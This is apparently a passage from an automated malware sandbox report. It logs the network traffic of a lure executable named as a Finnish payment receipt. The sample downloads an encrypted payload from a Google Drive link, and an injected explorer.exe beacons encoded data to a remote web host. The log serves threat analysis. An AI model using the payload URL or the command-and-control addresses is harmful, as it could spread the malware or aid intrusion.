3zBAUVxou0TJtuuemDSgBaHUJZexacLUs~EOVfs5zQQVpCgXLPw3Vp7u-EHqxS59OYoC5btc0X_s2v8hjfCAO1J
May 30, 2023 11:13:29.791605949 CEST	1780	OUT	Data Raw: 4e 7a 37 56 31 49 52 41 4e 39 5a 45 39 6b 35 49 53 5a 74 51 57 37 6f 63 30 72 45 70 69 42 73 71 4e 64 63 62 44 71 6b 51 51 6c 45 46 34 37 42 6b 35 6f 67 74 28 6f 66 42 58 30 55 42 58 54 58 77 71 65 72 34 4c 70 41 6d 58 77 6c 69 7e 4f 30 32 49 62 Data Ascii: Nz7V1IRAN9ZE9k5ISZtQW7oc0rEpiBsqNdcbDqkQQlEF47Bk5ogt(ofBX0UBXTXwqer4LpAmXwli~O02IbBI5IWjkSsrzC4tR-YLDNrGPh81USJUckGdOPvigcw9mJDGbgETUd(L75k9qvZHyT(aH8KzA9iBhusA~4XVvwlMI_nlYDmWlPcJ6vBNp4mCheB227Sa(HjCmp9lAOwx0uTuJJAI(153Gjdf4PYb4eK6x5l0WFDLVsL
May 30, 2023 11:13:29.838769913 CEST	1791	OUT	Data Raw: 31 6b 47 31 32 43 72 6c 38 4c 68 78 50 4f 75 53 4e 32 6a 38 41 30 77 65 6f 34 42 5a 6a 4a 72 79 35 76 37 69 70 7a 73 65 45 71 5a 4e 6f 37 4d 66 54 46 4b 4b 7e 68 28 4c 66 73 47 50 6c 4a 35 30 35 44 57 58 46 79 59 5a 54 4d 71 39 34 72 6f 72 6a 70 Data Ascii: 1kG12Crl8LhxPOuSN2j8A0weo4BZjJry5v7ipzseEqZNo7MfTFKK~h(LfsGPlJ505DWXFyYZTMq94rorjpacjJqQW-ak3rsmY4DGc6SR(vsf5j8OE-AeeIJaTFALHVeXaoolP6AhEKzfJZt0U2lQ44THiOTlYa0vxW4vI3MEDaWmdPv-RicfwYJtOIyHAFNosUbXynZqfygOs0c9mhinXz8mqnQpmQ385WCEBqOMV0HayFcrv62
May 30, 2023 11:13:29.838898897 CEST	1795	OUT	Data Raw: 48 67 72 74 6b 67 72 52 52 6e 66 67 6f 4e 57 6e 76 34 63 76 4a 30 52 72 74 51 6b 68 59 76 4e 72 51 31 32 7a 38 49 73 39 68 35 64 50 46 31 5a 31 33 66 56 5f 5a 53 4e 53 74 6b 56 78 38 63 62 67 6d 43 6b 65 46 6f 6f 6c 74 49 48 52 39 42 63 31 75 4a Data Ascii: HgrtkgrRRnfgoNWnv4cvJ0RrtQkhYvNrQ12z8Is9h5dPF1Z13fV_ZSNStkVx8cbgmCkeFooltIHR9Bc1uJlkxN3GQFppSwYqR6NP1tuDZrf0RAF7fn1BEkWb3zi9X1YX5CvliHC2Di~l9NHn96ZTTomNO4g_8Mf5cMhtIsgWX6kZkvZ7uQ9RJDT5SeD05IPzjd~MUzH51memauUK4L7Evd2k~Z1D0p~rdd6HMVmeQNSX5MoqcrM
May 30, 2023 11:13:29.838962078 CEST	1797	OUT	Data Raw: 48 70 6e 4c 76 48 6a 71 61 71 69 52 4e 63 71 69 44 73 66 5f 63 66 58 67 52 35 74 53 73 43 4d 75 61 30 46 6c 49 58 79 6b 62 76 55 5a 62 37 4c 6f 59 62 4c 76 4d 39 35 5a 52 55 59 49 4c 57 4e 51 71 77 32 73 6c 63 43 71 70 62 34 34 32 72 28 41 72 37 Data Ascii: HpnLvHjqaqiRNcqiDsf_cfXgR5tSsCMua0FlIXykbvUZb7LoYbLvM95ZRUYILWNQqw2slcCqpb442r(Ar7qGvSaTYM6g9QNh0QGHCsbRU2z-TZU3MaL823G-eXCEaTL5jtlnEk9FVyCLmA7yC3XPRBNaK3nPcvMOf6CMeHvAaNlH22UxBsYs1g9PftZs7_NKJ8XNptwIXspseNUS~TfRyoFUu1v1SSNLBbAjsj069UvubCKq1T7
May 30, 2023 11:13:29.839102030 CEST	1798	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
May 30, 2023 11:13:29.839129925 CEST	1804	OUT	Data Raw: 49 31 74 4d 54 69 32 38 4d 62 79 46 49 59 62 54 72 36 30 39 5a 35 44 47 4e 31 43 73 4f 50 6b 56 28 69 38 53 59 44 4e 45 39 77 7e 57 59 4e 31 69 71 2d 71 67 6c 72 6a 78 48 37 31 37 44 37 54 5f 4a 6b 6e 42 33 36 77 32 65 4f 64 4b 59 6b 73 64 4f 32 Data Ascii: I1tMTi28MbyFIYbTr609Z5DGN1CsOPkV(i8SYDNE9w~WYN1iq-qglrjxH717D7T_JknB36w2eOdKYksdO2UAO8RiNBGD4k5gmx4QlXkgCwfDrukRRtOVIUdaj_M1iH5ujCw_4a1H(RyO4vjCxHUzopb9jweKKyCuz657jBJzlnV5o-eJYFlQ0kU47MIVUJjjBSNZv9HW0_mqsTG4E4rI8yBESpKMoDGk8Q1Ga_CqP0trAZrUQje
May 30, 2023 11:13:29.839303017 CEST	1807	OUT	Data Raw: 45 79 56 41 50 32 4b 5a 72 2d 77 79 4c 4a 42 54 47 43 77 55 77 43 69 6f 75 41 57 43 70 30 65 5f 46 41 67 45 68 69 72 39 36 6a 76 35 6c 65 57 4f 4c 69 75 6d 65 74 58 43 43 4f 73 2d 30 5f 78 56 6d 7a 4a 51 43 68 76 4c 58 57 66 75 4d 50 42 30 52 75 Data Ascii: EyVAP2KZr-wyLJBTGCwUwCiouAWCp0e_FAgEhir96jv5leWOLiumetXCCOs-0_xVmzJQChvLXWfuMPB0RuczWmZJdk~JsQQcaWt2bCPemPWQpBG0E2RA(SfU9o8wYvg34neWlJENiCGyiWHTKcSirDxkKwYl86DT6Yi-TlixQbIErrw6fXW-RhXU4Vjeu1Wye8pfZr4zD8acpBYhXLCxi3y0tcDE43kvepKhWf7-1AonDqc88dU
May 30, 2023 11:13:29.885860920 CEST	1812	OUT	Data Raw: 78 4b 6a 4a 28 4f 42 49 34 56 54 4c 4d 48 6e 75 6d 68 48 32 61 37 48 4a 41 68 76 64 31 37 55 43 71 6e 31 62 54 73 62 4a 42 37 44 5f 41 72 6e 39 59 79 57 2d 63 31 63 35 4b 37 74 75 48 75 4a 75 6d 6d 54 4e 44 33 7e 38 47 67 31 30 47 51 6b 57 6c 5f Data Ascii: xKjJ(OBI4VTLMHnumhH2a7HJAhvd17UCqn1bTsbJB7D_Arn9YyW-c1c5K7tuHuJummTND3~8Gg10GQkWl_VMlm6azSZDy2GxcYp9ro8poxASLvcN7ZvHCYOEKQTjia5rv76HVBY1OJbL~XB3bEntt8DSwyEGKCChx7e-aI~t~zCso9acXyMkfZJMuaCYA8JGzH9h4KpcgFHoxSsGN36j4c6_CcUAnhamExePNN4UzfgsrGGFl5v
May 30, 2023 11:13:29.885937929 CEST	1817	OUT	Data Raw: 76 6d 73 30 47 62 71 75 78 66 30 50 75 37 38 38 68 78 4e 32 4b 6d 5a 45 33 49 78 70 61 31 52 37 79 30 41 70 6f 74 63 4c 6c 4d 35 6e 47 31 51 7a 73 62 28 7a 4f 4a 41 58 66 4c 39 52 32 78 4b 74 65 38 48 46 59 63 7a 43 46 57 66 65 32 39 46 77 64 31 Data Ascii: vms0Gbquxf0Pu788hxN2KmZE3Ixpa1R7y0ApotcLlM5nG1Qzsb(zOJAXfL9R2xKte8HFYczCFWfe29Fwd12t1BBm0RoUVZZ_Uv01eXeKEzCNj67Sb9Z2YxbzGo5pxEienM85I9YpWKlCb5vVyZDnoDYugA9mZEo5uiiMRb3O(EP6HbaLyzl-AXQSU8ytd_mxhj5YD7wsBbvPj8YjwwcbkhNW14GKwBdvgDN1~0yBI-NONUhozig
May 30, 2023 11:13:29.886493921 CEST	1820	OUT	Data Raw: 49 4c 56 6c 76 65 36 79 44 79 58 76 30 33 69 43 70 6e 38 4a 4a 6a 74 64 65 71 43 78 54 51 65 53 59 59 59 6e 47 62 76 78 72 31 59 36 33 4f 74 73 45 34 58 79 42 43 36 45 30 77 28 70 77 37 6e 5a 69 48 49 33 48 57 39 33 73 33 44 58 4a 64 74 77 68 56 Data Ascii: ILVlve6yDyXv03iCpn8JJjtdeqCxTQeSYYYnGbvxr1Y63OtsE4XyBC6E0w(pw7nZiHI3HW93s3DXJdtwhV(5PIXEjWt-XNYjGLAXxJzrMkrS~mAGuVhnz4fy1yQLE2auoQ7J3MXyw3GRO76vu1h7vpUIhZlf2iXF1Z9tqxursNyZsjv-sDlTGGAkALlqdAErBMiRm2Jw6Cy92DD3wSH40NmSq_WpRFZcidzaNUWWu3eCJxCmDvQ
May 30, 2023 11:13:29.886697054 CEST	1821	OUT	Data Raw: 68 79 69 4d 4b 71 54 69 51 43 4a 4a 39 57 70 65 6d 49 41 4a 47 79 68 75 63 61 67 33 70 57 6f 6c 62 4d 71 6c 59 4f 6e 31 41 6f 30 6e 78 56 68 54 71 58 62 5f 53 44 58 73 43 55 43 44 54 73 39 34 6e 63 74 4c 59 35 35 44 47 4a 67 6c 53 37 75 50 42 66 Data Ascii: hyiMKqTiQCJJ9WpemIAJGyhucag3pWolbMqlYOn1Ao0nxVhTqXb_SDXsCUCDTs94nctLY55DGJglS7uPBf~RoUwsF4uUC60NVPK3J-I-tbn-igC2svwy7avJhzPD5kyNMX3oQGy8ElQVrFXYHY1Q5_DuoOt1SvMqS5tyOxO6iLYZ67FLt8rvbkUlC-h-Ix6OAv(TPqUTrNVQsvtMA0rFVt8ZUWko1B0rMu1WYT(7V1j1tiunl64

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.11.20	49858	185.106.208.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:32.368611097 CEST	1821	OUT	GET /tchg/?O0qEM=jQDaGZ2OScTGFSP10uKTPyhqI710WSvw2gViBbUugbcSlWDCi533rl6vPGA30o5eyDb36C/pQ3h7az/b16KQNynftoBCqLFM3A==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.albaymedya.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:13:32.415574074 CEST	1822	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49759	172.217.18.110	443	C:\Users\user\Desktop\Siirtokuitti_006703.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-30 09:06:51 UTC	0	OUT	GET /uc?export=download&id=1gvJNG_hcxbVMWQvESL5VmHgfKw3TSb3S HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Host: drive.google.com Cache-Control: no-cache
2023-05-30 09:06:51 UTC	0	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 30 May 2023 09:06:51 GMT Location: https://doc-04-7k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/k5vv2eer5piasl85vm2gu1ubr744dkes/1685437575000/04063919605701821530//1gvJNG_hcxbVMWQvESL5VmHgfKw3TSb3S?e=download&uuid=0165319d-d6ed-4364-9b74-a19685a5f726 Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version= Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-ADOReUV0lxNy5LZ2TDS1ew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49760	142.250.186.97	443	C:\Users\user\Desktop\Siirtokuitti_006703.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-30 09:06:51 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/k5vv2eer5piasl85vm2gu1ubr744dkes/1685437575000/04063919605701821530/*/1gvJNG_hcxbVMWQvESL5VmHgfKw3TSb3S?e=download&uuid=0165319d-d6ed-4364-9b74-a19685a5f726 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Cache-Control: no-cache Host: doc-04-7k-docs.googleusercontent.com Connection: Keep-Alive
2023-05-30 09:06:51 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdvP8N0QmxhPP9DsUsFn1njJnOKlTWIBcXfOSQ4CR8oCXhS5Fk5H8QG6zBYpmOJ-Sb6uDUrf1QBTRxyTGOZ6vVW8jMfQBsek X-Content-Type-Options: nosniff Content-Type: application/octet-stream Content-Disposition: attachment; filename="SsOXCiefhu202.bin"; filename=UTF-8''SsOXCiefhu202.bin Access-Control-Allow-Origin: Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, x-goog-ext-328800237-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Request-Time, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, x-goog-maps-api-salt, x-goog-maps-api-signature, x-goog-maps-client-id, X-Goog-Api-Key, x-goog-spanner-database-role, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-Bootstrap-Logged-In, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context, X-Server-Token, x-rfui-request-context Access-Control-Allow-Methods: GET,HEAD,OPTIONS Content-Length: 191040 Date: Tue, 30 May 2023 09:06:51 GMT Expires: Tue, 30 May 2023 09:06:51 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=gTeD2Q== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-05-30 09:06:51 UTC	6	IN	Data Raw: 4d d7 6d 42 c5 ce 8c 97 9e 25 22 ba 85 10 e9 f0 72 3b ca 56 14 32 9c 05 40 29 14 91 8c b8 a5 af e3 6e b7 5d a8 9f b2 29 c1 ea 8a 58 ce eb c4 4f 37 a8 e3 d7 c1 19 c7 48 b6 c7 e1 43 62 a5 03 b2 45 05 89 34 25 7f c6 f3 76 f5 66 2f eb 1f 05 be 7e 10 2a 09 54 02 2f 11 d8 44 0d 88 b6 4e 6b ef 4e cc 3a c9 39 e1 13 61 37 aa 31 6f 2b 1d f4 7f 62 11 a2 96 9a bf b8 e1 20 7d 6e 12 f7 bb 55 85 cc e0 0d 04 b2 5c 74 6d 8f 91 6e 55 0a 25 92 d2 c0 91 d9 ca 8f dd ae 35 f4 ec 5f e3 c1 81 9a a4 37 26 49 b4 d8 fc 87 15 9a 10 51 f8 eb 77 f9 95 54 cc 62 c8 ee 71 86 50 93 1c 24 d9 c2 b5 62 b4 d3 96 b8 bd 1e bf 05 ae d3 c9 e1 69 fc d0 bb 33 ca fb ec a6 1c 6d a6 c1 5a 09 fa ac 0e 89 98 89 63 21 cc ea 75 16 91 e2 9a 43 d9 64 be e3 86 1e 01 3d 44 e5 49 46 6b e9 e7 a2 6c 4c 75 76 fc Data Ascii: MmB%"r;V2@)n])XO7HCbE4%vf/~*T/DNkN:9a71o+b }nU\tmnU%5_7&IQwTbqP$bi3mZc!uCd=DIFklLuv
2023-05-30 09:06:51 UTC	10	IN	Data Raw: f4 a9 e1 9f b5 9b 30 86 12 58 28 2b 42 7a 39 4e f4 fb ff c7 b9 94 b6 31 a8 ba 42 32 99 aa 8d 0a a2 d3 b5 b9 76 3a 51 a6 c9 b2 a8 0d be 45 5e aa 86 b2 b6 a3 05 f8 75 bc fa bf ff 79 b8 aa ec d6 74 76 e1 75 42 b1 1c 97 ff f8 c4 48 34 bb 55 33 06 1b 7a 22 f1 60 1a fc 01 13 9e 57 9e c7 24 79 b8 cf e7 0b c3 23 5d 26 39 6a 93 70 c8 71 e7 cf 14 c0 b7 4c 5a 60 87 6f 44 84 3e 62 0b 21 80 58 22 fd 81 aa 40 b7 35 95 14 31 71 c8 0b 62 e4 8d 4f ac 1c 23 a3 04 c5 5e f3 98 46 64 16 8b 96 66 df b7 81 57 91 3c b7 b4 e4 22 64 fd 39 81 ea 9c 40 ce 2d 07 a5 05 b6 ef c5 6a 8a d2 3b 5d 45 b6 32 9f d3 2b 18 11 da 4a 1c b4 60 8a 53 32 7e af 39 07 a1 68 ad b0 9e dd 97 9a 6d 8f d5 b6 66 06 07 e5 59 42 df 42 05 06 07 6e 5a 31 f8 28 ac 79 5e 1e 8f aa 48 03 d5 a7 b2 65 1b 85 cf a0 4e Data Ascii: 0X(+Bz9N1B2v:QE^uytvuBH4U3z"`W$y#]&9jpqLZ`oD>b!X"@51qbO#^FdfW<"d9@-j;]E2+J`S2~9hmfYBBnZ1(y^HeN
2023-05-30 09:06:51 UTC	14	IN	Data Raw: 27 25 14 5d 1e 32 8e 90 9e c1 63 6c 4b a3 56 7b c5 ef 61 09 8f 77 de 06 0f 9d 0b 9c 62 da bb 0d 13 d5 e7 84 24 99 d1 01 b0 bc ac 82 a8 f9 db 87 49 14 72 0b a6 a1 ea 65 02 c0 44 db 55 d0 d2 4d 42 fd fb d1 7c 05 e4 82 f8 1b 11 b1 6e 3b 90 f8 e3 4c e3 50 cd 4c 57 5b 82 45 a9 3a ce c6 a9 51 05 c9 59 d7 fe be 3c eb 70 39 ee b6 03 4f f4 53 75 d0 42 26 df c6 e5 73 6b 29 b4 c5 de 4e 11 9e 6d d8 6c 04 5e 4d e2 09 20 18 d8 3a 7d 05 0d 51 32 e0 d9 f6 30 ab ca bb 7b 89 33 92 0c 8b 20 f6 56 70 37 d2 a3 9f a7 65 ee 84 63 2e 84 43 46 f1 80 93 c8 2a ad 46 3b 7c d9 cb e3 10 e6 77 ba 18 3a 4f 5d 28 a0 f8 3f 1b 67 12 83 36 f5 b4 1f 33 a0 22 6c 63 31 3d 48 1c 7e e2 b5 29 40 1d a8 1f 56 4c 09 f0 b9 38 8e 70 90 49 6b 52 2b 3e 9f 1e 63 4a 2c a6 47 98 6d c0 af ee 3a 05 d7 bb 8c Data Ascii: '%]2clKV{awb$IreDUMB\|n;LPLW[E:QY<p9OSuB&sk)Nml^M :}Q20{3 Vp7ec.CF*F;\|w:O](?g63"lc1=H~)@VL8pIkR+>cJ,Gm:
2023-05-30 09:06:51 UTC	18	IN	Data Raw: f2 fa f4 40 bb ee 39 73 37 12 f3 1e c3 52 60 d3 57 6d ec 8f d0 31 f8 a4 74 8c 65 00 93 f2 98 88 8f 55 d2 a7 0f 11 1d 2d f2 f1 ba 80 f3 c9 c2 32 6d 70 ea 3b f8 db 9d 51 4a 74 50 c1 f7 06 9b b9 84 57 e0 7c 3b c4 9d 86 6f 27 18 30 01 7d db f0 4d e0 3c 70 42 8a 72 cf a4 ee 5a b2 bf 82 9e 03 d4 c5 0d ba 9a 12 31 8c 82 bb cd 10 f7 b7 9d dd ec e5 39 e8 71 3c 44 de b2 82 b1 df 27 26 e2 d6 fd 2d e2 5a 7c 03 83 3c d9 11 20 69 d5 6b 19 fa c4 62 83 72 97 ec e0 79 7d 28 83 4a 69 63 8b e0 dd b4 50 44 fd da cc 55 34 6b ac ea c9 f6 fb 66 93 55 07 46 7c 50 98 c4 ab 7d 39 c6 0b cb 43 fd c9 f4 ca 97 77 c7 42 92 bd de d4 2a 08 f1 59 3c f6 0f 37 9e 8a f8 50 25 e2 51 92 ec 72 b4 2e 42 b7 0d 5b 89 a5 da ba a6 8d 75 52 7a 1e 4d 2a d2 24 68 a2 15 65 f8 cb 50 6e 3c be b8 4c 04 8d Data Ascii: @9s7R`Wm1teU-2mp;QJtPW\|;o'0}M<pBrZ19q<D'&-Z\|< ikbry}(JicPDU4kfUF\|P}9CwBY<7P%Qr.B[uRzM$hePn<L
2023-05-30 09:06:51 UTC	19	IN	Data Raw: 04 f4 34 c1 b0 23 09 42 39 70 45 58 60 50 8b 02 e5 74 1d 22 87 00 b8 4d cd 30 1b ef d5 d6 9e 5b 6e 67 d4 59 c6 b3 22 42 8a eb 9c d5 81 58 82 be c0 24 ae 51 e4 94 a6 e8 0f ba 91 cc 51 06 65 23 63 6d b0 cb 8b 8e 35 45 d3 2f f8 79 d1 11 22 a3 f5 c4 91 4e 00 3f 59 cd f4 ea d2 b4 f5 c9 61 1b dd 74 28 10 a7 3d 02 af 67 26 90 4a b8 99 9d f0 9a 21 fe c5 a0 e5 38 d2 2a 44 ee f7 8d bd ee 15 85 ff 10 56 35 fc 7d a8 88 76 38 23 2e b1 5f d8 19 41 6c 22 d4 db 99 17 78 ef 23 f8 3f 63 73 93 c3 f2 38 98 6c ae ea 8f 49 29 79 a2 81 21 9c cf de 87 5b 2f dd 97 c3 fa 9c f0 9e 4c 42 83 a0 ee fd 09 9c 8f 01 12 87 c2 b2 75 a1 08 0f 8d 9d c0 2f a2 70 ed 90 1e 39 3c 86 94 65 10 11 9d 1c 0f 1b 44 61 6c 7f 37 29 62 1e 9d 50 ad 88 b0 d7 ea a1 61 f5 2f 9c 7c a6 71 2b 30 cf 21 57 24 6c Data Ascii: 4#B9pEX`Pt"M0[ngY"BX$QQe#cm5E/y"N?Yat(=g&J!8*DV5}v8#._Al"x#?cs8lI)y![/LBu/p9<eDal7)bPa/\|q+0!W$l
2023-05-30 09:06:51 UTC	20	IN	Data Raw: 55 98 c8 31 ba 2a 99 29 25 ac 90 20 6b e4 55 06 5c e9 fa a9 97 24 6b 87 a3 30 cc b7 83 91 d3 e0 97 eb 76 07 7e e4 5c 4a ed 1a a2 db 83 74 be df cc 16 5b d6 1f 04 86 58 27 d7 02 38 cd 75 0b e8 19 0f 13 57 a2 5f b4 2b fc c7 7c 9f 0e 78 8f b0 49 71 d7 3c d7 0c 80 a3 62 a0 33 51 6b 89 5b f1 0f 43 c2 eb 86 c4 4b 14 86 33 a2 d1 d4 6e f9 fd 16 1d d1 e3 01 2f ac 07 98 be c0 84 35 90 5b 36 8e dd 3a 27 ec 97 48 e3 7e b6 d3 f0 24 06 2b 6c b6 10 78 d5 12 10 bb 52 cb 88 fd 57 88 cf be 75 80 ee bb 9b d7 b5 c4 e1 74 55 35 74 cc 56 81 ca 22 0c 55 d3 15 86 99 6f a8 75 d9 0d ab d6 d0 79 b0 94 7c 93 e8 06 c4 1c b3 88 b3 b7 54 27 32 d3 3c 47 46 d0 3d 1f b8 d3 0d ca ab 42 52 d4 29 9e d7 0b 40 75 04 93 3e 87 80 d5 77 2c 76 07 a9 5b 79 31 46 7c 86 89 26 d7 d6 4a fa fa a9 1e ef Data Ascii: U1*)% kU\$k0v~\Jt[X'8uW_+\|xIq<b3Qk[CK3n/5[6:'H~$+lxRWutU5tV"Uouy\|T'2<GF=BR)@u>w,v[y1F\|&J
